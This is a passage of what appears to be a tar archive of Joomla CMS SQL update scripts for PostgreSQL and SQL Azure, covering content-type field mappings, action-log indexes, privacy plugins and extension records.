UPDATE "#__content_types" SET "field_mappings" = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"address", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"image", "core_urls":"webpage", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}, "special": {"con_position":"con_position","suburb":"suburb","state":"state","country":"country","postcode":"postcode","telephone":"telephone","fax":"fax","misc":"misc","email_to":"email_to","default_con":"default_con","user_id":"user_id","mobile":"mobile","sortname1":"sortname1","sortname2":"sortname2","sortname3":"sortname3"}}' WHERE "type_title" = 'Contact';
UPDATE "#__content_types" SET "field_mappings" = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}, "special": {"numarticles":"numarticles","cache_time":"cache_time","rtl":"rtl"}}' WHERE "type_title" = 'Newsfeed';
UPDATE "#__content_types" SET "field_mappings" = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"null","core_alias":"username","core_created_time":"registerdate","core_modified_time":"lastvisitDate","core_body":"null", "core_hits":"null","core_publish_up":"null","core_publish_down":"null","access":"null", "core_params":"params", "core_featured":"null", "core_metadata":"null", "core_language":"null", "core_images":"null", "core_urls":"null", "core_version":"null", "core_ordering":"null", "core_metakey":"null", "core_metadesc":"null", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}, "special": {}}' WHERE "type_title" = 'User';
UPDATE "#__content_types" SET "field_mappings" = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE "type_title" = 'Article Category';
UPDATE "#__content_types" SET "field_mappings" = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE "type_title" = 'Contact Category';
UPDATE "#__content_types" SET "field_mappings" = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE "type_title" = 'Newsfeeds Category';
UPDATE "#__content_types" SET "field_mappings" = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path"}}' WHERE "type_title" = 'Tag';
com_admin/sql/updates/postgresql/3.9.0-2018-10-15.sql000060400000000557152455305270015375 0ustar00CREATE INDEX "#__action_logs_idx_user_id" ON "#__action_logs" ("user_id"); 
CREATE INDEX "#__action_logs_idx_user_id_logdate" ON "#__action_logs" ("user_id", "log_date"); 
CREATE INDEX "#__action_logs_idx_user_id_extension" ON "#__action_logs" ("user_id", "extension");
CREATE INDEX "#__action_logs_idx_extension_itemid" ON "#__action_logs" ("extension", "item_id");
com_admin/sql/updates/postgresql/3.9.0-2018-07-09.sql000060400000001205152455305270015375 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(490, 0, 'plg_privacy_contact', 'plugin', 'contact', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(491, 0, 'plg_privacy_content', 'plugin', 'content', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(492, 0, 'plg_privacy_message', 'plugin', 'message', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.9.3-2019-01-12.sql000060400000000476152455305270015376 0ustar00UPDATE "#__extensions" 
SET "params" = REPLACE("params", '"com_categories",', '"com_categories","com_checkin",')
WHERE "name" = 'com_actionlogs';

INSERT INTO "#__action_logs_extensions" ("extension") VALUES
('com_checkin');

SELECT setval('#__action_logs_extensions_id_seq', max(id)) FROM "#__action_logs_extensions";com_admin/sql/updates/postgresql/3.7.0-2017-03-03.sql000060400000000413152455305270015360 0ustar00ALTER TABLE "#__extensions" ALTER COLUMN "custom_data" DROP DEFAULT;
ALTER TABLE "#__extensions" ALTER COLUMN "system_data" DROP DEFAULT;
ALTER TABLE "#__updates" ALTER COLUMN "data" DROP DEFAULT;

ALTER TABLE "#__newsfeeds" ALTER COLUMN "xreference" SET DEFAULT '';
com_admin/sql/updates/postgresql/3.1.5.sql000060400000000072152455305270014331 0ustar00# Placeholder file for database changes for version 3.1.5
com_admin/sql/updates/postgresql/3.9.0-2018-06-12.sql000060400000000620152455305270015366 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(320, 0, 'mod_privacy_dashboard', 'module', 'mod_privacy_dashboard', '', 1, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.9.7-2019-05-16.sql000060400000000105152455305270015377 0ustar00# Query removed, see https://github.com/joomla/joomla-cms/pull/25177
com_admin/sql/updates/postgresql/3.9.16-2020-02-15.sql000060400000004320152455305270015446 0ustar00ALTER TABLE "#__categories" ALTER COLUMN "description" DROP NOT NULL;
ALTER TABLE "#__categories" ALTER COLUMN "description" DROP DEFAULT;

ALTER TABLE "#__categories" ALTER COLUMN "params" DROP NOT NULL;
ALTER TABLE "#__categories" ALTER COLUMN "params" DROP DEFAULT;

ALTER TABLE "#__fields" ALTER COLUMN "default_value" DROP NOT NULL;
ALTER TABLE "#__fields" ALTER COLUMN "default_value" DROP DEFAULT;

ALTER TABLE "#__fields" ALTER COLUMN "description" DROP DEFAULT;

ALTER TABLE "#__fields" ALTER COLUMN "params" DROP DEFAULT;

ALTER TABLE "#__fields" ALTER COLUMN "fieldparams" DROP DEFAULT;

ALTER TABLE "#__fields_groups" ALTER COLUMN "params" DROP DEFAULT;

ALTER TABLE "#__fields_values" ALTER COLUMN "value" DROP NOT NULL;
ALTER TABLE "#__fields_values" ALTER COLUMN "value" DROP DEFAULT;

ALTER TABLE "#__finder_links" ALTER COLUMN "description" DROP NOT NULL;
ALTER TABLE "#__finder_links" ALTER COLUMN "description" DROP DEFAULT;

ALTER TABLE "#__menu" ALTER COLUMN "params" DROP DEFAULT;

ALTER TABLE "#__modules" ALTER COLUMN "content" DROP NOT NULL;
ALTER TABLE "#__modules" ALTER COLUMN "content" DROP DEFAULT;

ALTER TABLE "#__tags" ALTER COLUMN "description" DROP DEFAULT;

ALTER TABLE "#__ucm_content" ALTER COLUMN "core_body" DROP NOT NULL;
ALTER TABLE "#__ucm_content" ALTER COLUMN "core_body" DROP DEFAULT;

ALTER TABLE "#__ucm_content" ALTER COLUMN "core_params" DROP NOT NULL;
ALTER TABLE "#__ucm_content" ALTER COLUMN "core_params" DROP DEFAULT;

ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metadata" DROP NOT NULL;
ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metadata" DROP DEFAULT;

ALTER TABLE "#__ucm_content" ALTER COLUMN "core_images" DROP NOT NULL;
ALTER TABLE "#__ucm_content" ALTER COLUMN "core_images" DROP DEFAULT;

ALTER TABLE "#__ucm_content" ALTER COLUMN "core_urls" DROP NOT NULL;
ALTER TABLE "#__ucm_content" ALTER COLUMN "core_urls" DROP DEFAULT;

ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metakey" DROP NOT NULL;
ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metakey" DROP DEFAULT;

ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metadesc" DROP NOT NULL;
ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metadesc" DROP DEFAULT;

ALTER TABLE "#__action_logs" ALTER COLUMN "message" DROP DEFAULT;
com_admin/sql/updates/postgresql/3.9.19-2020-06-01.sql000060400000000766152455305270015462 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'COM_CPANEL_MSG_TEXTFILTER3919_TITLE', 'COM_CPANEL_MSG_TEXTFILTER3919_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/textfilter3919.php', 'admin_postinstall_textfilter3919_condition', '3.9.19', 1);
com_admin/sql/updates/postgresql/3.9.0-2018-05-24.sql000060400000001611152455305270015371 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(485, 0, 'plg_system_privacyconsent', 'plugin', 'privacyconsent', 'system', 0, 0, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);

--
-- Table structure for table `#__privacy_consents`
--

CREATE TABLE "#__privacy_consents" (
  "id" serial NOT NULL,
  "user_id" bigint DEFAULT 0 NOT NULL,
  "created" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "subject" varchar(255) DEFAULT '' NOT NULL,
  "body" text NOT NULL,
  "remind" smallint DEFAULT 0 NOT NULL,
  "token" varchar(100) DEFAULT '' NOT NULL,
  PRIMARY KEY ("id")
);
CREATE INDEX "#__privacy_consents_idx_user_id" ON "#__privacy_consents" ("user_id");
com_admin/sql/updates/postgresql/3.6.3-2016-08-16.sql000060400000001352152455305270015375 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME', 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME_BODY', 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME_ACTION', 'plg_system_updatenotification', 1, 'action', 'site://plugins/system/updatenotification/postinstall/updatecachetime.php', 'updatecachetime_postinstall_action', 'site://plugins/system/updatenotification/postinstall/updatecachetime.php', 'updatecachetime_postinstall_condition', '3.6.3', 1);com_admin/sql/updates/postgresql/3.2.2-2014-01-15.sql000060400000000745152455305270015363 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'COM_CPANEL_MSG_PHPVERSION_TITLE', 'COM_CPANEL_MSG_PHPVERSION_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/phpversion.php', 'admin_postinstall_phpversion_condition', '3.2.2', 1);
com_admin/sql/updates/postgresql/3.2.3-2014-02-20.sql000060400000000236152455305270015354 0ustar00UPDATE "#__extensions" SET "params" = (SELECT "params" FROM "#__extensions" WHERE "name" = 'plg_system_remember') WHERE "name" = 'plg_authentication_cookie';
com_admin/sql/updates/postgresql/3.2.2-2013-12-22.sql000060400000000235152455305270015354 0ustar00ALTER TABLE "#__update_sites" ADD COLUMN "extra_query" varchar(1000) DEFAULT '';
ALTER TABLE "#__updates" ADD COLUMN "extra_query" varchar(1000) DEFAULT '';
com_admin/sql/updates/postgresql/3.6.0-2016-04-01.sql000060400000001651152455305270015362 0ustar00-- Rename update site names
UPDATE "#__update_sites" SET "name" = 'Joomla! Core' WHERE "name" = 'Joomla Core' AND "type" = 'collection';
UPDATE "#__update_sites" SET "name" = 'Joomla! Extension Directory' WHERE "name" = 'Joomla Extension Directory' AND "type" = 'collection';

UPDATE "#__update_sites" SET "location" = 'https://update.joomla.org/core/list.xml' WHERE "name" = 'Joomla! Core' AND "type" = 'collection';
UPDATE "#__update_sites" SET "location" = 'https://update.joomla.org/jed/list.xml' WHERE "name" = 'Joomla! Extension Directory' AND "type" = 'collection';
UPDATE "#__update_sites" SET "location" = 'https://update.joomla.org/language/translationlist_3.xml' WHERE "name" = 'Accredited Joomla! Translations' AND "type" = 'collection';
UPDATE "#__update_sites" SET "location" = 'https://update.joomla.org/core/extensions/com_joomlaupdate.xml' WHERE "name" = 'Joomla! Update Component Update Site' AND "type" = 'extension';
com_admin/sql/updates/postgresql/3.9.0-2018-09-04.sql000060400000000362152455305270015375 0ustar00CREATE TABLE "#__action_logs_users" (
  "user_id" integer NOT NULL,
  "notify" integer NOT NULL,
  "extensions" text NOT NULL,
  PRIMARY KEY ("user_id")
);

CREATE INDEX "#__action_logs_users_idx_notify" ON "#__action_logs_users" ("notify");
com_admin/sql/updates/postgresql/3.4.4-2015-07-11.sql000060400000000242152455305270015362 0ustar00ALTER TABLE "#__contentitem_tag_map" DROP CONSTRAINT "#__uc_ItemnameTagid", ADD CONSTRAINT "#__uc_ItemnameTagid" UNIQUE ("type_id", "content_item_id", "tag_id");
com_admin/sql/updates/postgresql/3.9.0-2018-10-20.sql000060400000000261152455305270015361 0ustar00DROP INDEX "#__privacy_requests_idx_checked_out";
ALTER TABLE "#__privacy_requests" DROP COLUMN "checked_out";
ALTER TABLE "#__privacy_requests" DROP COLUMN "checked_out_time";
com_admin/sql/updates/postgresql/3.6.0-2016-04-08.sql000060400000001164152455305270015370 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(802, 'English (United Kingdom)', 'package', 'pkg_en-GB', '', 0, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);

UPDATE "#__update_sites_extensions"
SET "extension_id" = 802
WHERE "update_site_id" IN (
			SELECT "update_site_id"
			FROM "#__update_sites"
			WHERE "name" = 'Accredited Joomla! Translations'
			AND "type" = 'collection'
			)
AND "extension_id" = 600;
com_admin/sql/updates/postgresql/3.7.0-2017-01-15.sql000060400000000565152455305270015371 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(34, 'com_associations', 'component', 'com_associations', '', 1, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/sqlazure/3.9.19-2020-06-01.sql000060400000000764152455305270015123 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_TEXTFILTER3919_TITLE', 'COM_CPANEL_MSG_TEXTFILTER3919_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/textfilter3919.php', 'admin_postinstall_textfilter3919_condition', '3.9.19', 1;
com_admin/sql/updates/sqlazure/3.9.4-2019-03-06.sql000060400000000507152455305270015042 0ustar00UPDATE "#__extensions" SET "element" = 'contact', "folder" = 'privacy' WHERE "name" = 'plg_privacy_contact';
UPDATE "#__extensions" SET "element" = 'content', "folder" = 'privacy' WHERE "name" = 'plg_privacy_content';
UPDATE "#__extensions" SET "element" = 'message', "folder" = 'privacy' WHERE "name" = 'plg_privacy_message';
com_admin/sql/updates/sqlazure/3.9.0-2018-08-28.sql000060400000001252152455305270015044 0ustar00sp_rename "#__session", "#__session_old";

SELECT cast("session_id" AS varbinary) AS "session_id", "client_id", "guest", cast("time" AS int) AS "time", "data", "userid", "username"
INTO "#__session"
FROM "#__session_old";

DROP TABLE "#__session_old";

ALTER TABLE "#__session" ALTER COLUMN "session_id" varbinary(192) NOT NULL;
ALTER TABLE "#__session" ADD CONSTRAINT "PK_#__session_session_id" PRIMARY KEY CLUSTERED ("session_id") ON [PRIMARY];
ALTER TABLE "#__session" ALTER COLUMN "time" int NOT NULL;
ALTER TABLE "#__session" ADD DEFAULT (0) FOR "time";

CREATE NONCLUSTERED INDEX "time" ON "#__session" ("time");
CREATE NONCLUSTERED INDEX "userid" ON "#__session" ("userid");
com_admin/sql/updates/sqlazure/3.2.0.sql000060400000047561152455305270014006 0ustar00/* Core 3.2 schema updates */

ALTER TABLE [#__content_types] ADD [content_history_options] [nvarchar] (max) NULL;

UPDATE [#__content_types] SET [content_history_options] = '{"formFile":"administrator\/components\/com_content\/models\/forms\/article.xml", "hideFields":["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"} ]}' WHERE [type_alias] = 'com_content.article';
UPDATE [#__content_types] SET [content_history_options] = '{"formFile":"administrator\/components\/com_contact\/models\/forms\/contact.xml","hideFields":["default_con","checked_out","checked_out_time","version","xreference"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"], "displayLookup":[ {"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"} ] }' WHERE [type_alias] = 'com_contact.contact';
UPDATE [#__content_types] SET [content_history_options] = '{"formFile":"administrator\/components\/com_categories\/models\/forms\/category.xml", "hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"],"convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}' WHERE [type_alias] IN ('com_content.category', 'com_contact.category', 'com_newsfeeds.category');
UPDATE [#__content_types] SET [content_history_options] = '{"formFile":"administrator\/components\/com_newsfeeds\/models\/forms\/newsfeed.xml","hideFields":["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "hits"],"convertToInt":["publish_up", "publish_down", "featured", "ordering"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}' WHERE [type_alias] = 'com_newsfeeds.newsfeed';
UPDATE [#__content_types] SET [content_history_options] = '{"formFile":"administrator\/components\/com_tags\/models\/forms\/tag.xml", "hideFields":["checked_out","checked_out_time","version", "lft", "rgt", "level", "path", "urls", "publish_up", "publish_down"],"ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"],"convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}' WHERE [type_alias] = 'com_tags.tag';

INSERT INTO [#__content_types] ([type_title], [type_alias], [table], [rules], [field_mappings], [router], [content_history_options])
SELECT 'Banner', 'com_banners.banner', '{"special":{"dbtable":"#__banners","key":"id","type":"Banner","prefix":"BannersTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"null","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"null", "asset_id":"null"}, "special":{"imptotal":"imptotal", "impmade":"impmade", "clicks":"clicks", "clickurl":"clickurl", "custombannercode":"custombannercode", "cid":"cid", "purchase_type":"purchase_type", "track_impressions":"track_impressions", "track_clicks":"track_clicks"}}', '', '{"formFile":"administrator\/components\/com_banners\/models\/forms\/banner.xml", "hideFields":["checked_out","checked_out_time","version", "reset"],"ignoreChanges":["modified_by", "modified", "checked_out", "checked_out_time", "version", "imptotal", "impmade", "reset"], "convertToInt":["publish_up", "publish_down", "ordering"], "displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"cid","targetTable":"#__banner_clients","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"created_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"modified_by","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}'
UNION ALL
SELECT 'Banners Category', 'com_banners.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}', '', '{"formFile":"administrator\/components\/com_categories\/models\/forms\/category.xml", "hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"], "convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}'
UNION ALL
SELECT 'Banner Client', 'com_banners.client', '{"special":{"dbtable":"#__banner_clients","key":"id","type":"Client","prefix":"BannersTable"}}', '', '', '', '{"formFile":"administrator\/components\/com_banners\/models\/forms\/client.xml", "hideFields":["checked_out","checked_out_time"], "ignoreChanges":["checked_out", "checked_out_time"], "convertToInt":[], "displayLookup":[]}'
UNION ALL
SELECT 'User Notes', 'com_users.note', '{"special":{"dbtable":"#__user_notes","key":"id","type":"Note","prefix":"UsersTable"}}', '', '', '', '{"formFile":"administrator\/components\/com_users\/models\/forms\/note.xml", "hideFields":["checked_out","checked_out_time", "publish_up", "publish_down"],"ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time"], "convertToInt":["publish_up", "publish_down"],"displayLookup":[{"sourceColumn":"catid","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}, {"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}]}'
UNION ALL
SELECT 'User Notes Category', 'com_users.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special":{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}', '', '{"formFile":"administrator\/components\/com_categories\/models\/forms\/category.xml", "hideFields":["checked_out","checked_out_time","version","lft","rgt","level","path","extension"], "ignoreChanges":["modified_user_id", "modified_time", "checked_out", "checked_out_time", "version", "hits", "path"], "convertToInt":["publish_up", "publish_down"], "displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"}, {"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}';

UPDATE [#__extensions] SET [params] = '{"template_positions_display":"0","upload_limit":"2","image_formats":"gif,bmp,jpg,jpeg,png","source_formats":"txt,less,ini,xml,js,php,css","font_formats":"woff,ttf,otf","compressed_formats":"zip"}' WHERE [extension_id] = 20;
UPDATE [#__extensions] SET [params] = '{"lineNumbers":"1","lineWrapping":"1","matchTags":"1","matchBrackets":"1","marker-gutter":"1","autoCloseTags":"1","autoCloseBrackets":"1","autoFocus":"1","theme":"default","tabmode":"indent"}' WHERE [extension_id] = 410;

SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 30, 'com_contenthistory', 'component', 'com_contenthistory', '', 1, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 31, 'com_ajax', 'component', 'com_ajax', '', 1, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 32, 'com_postinstall', 'component', 'com_postinstall', '', 1, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 105, 'FOF', 'library', 'fof', '', 0, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
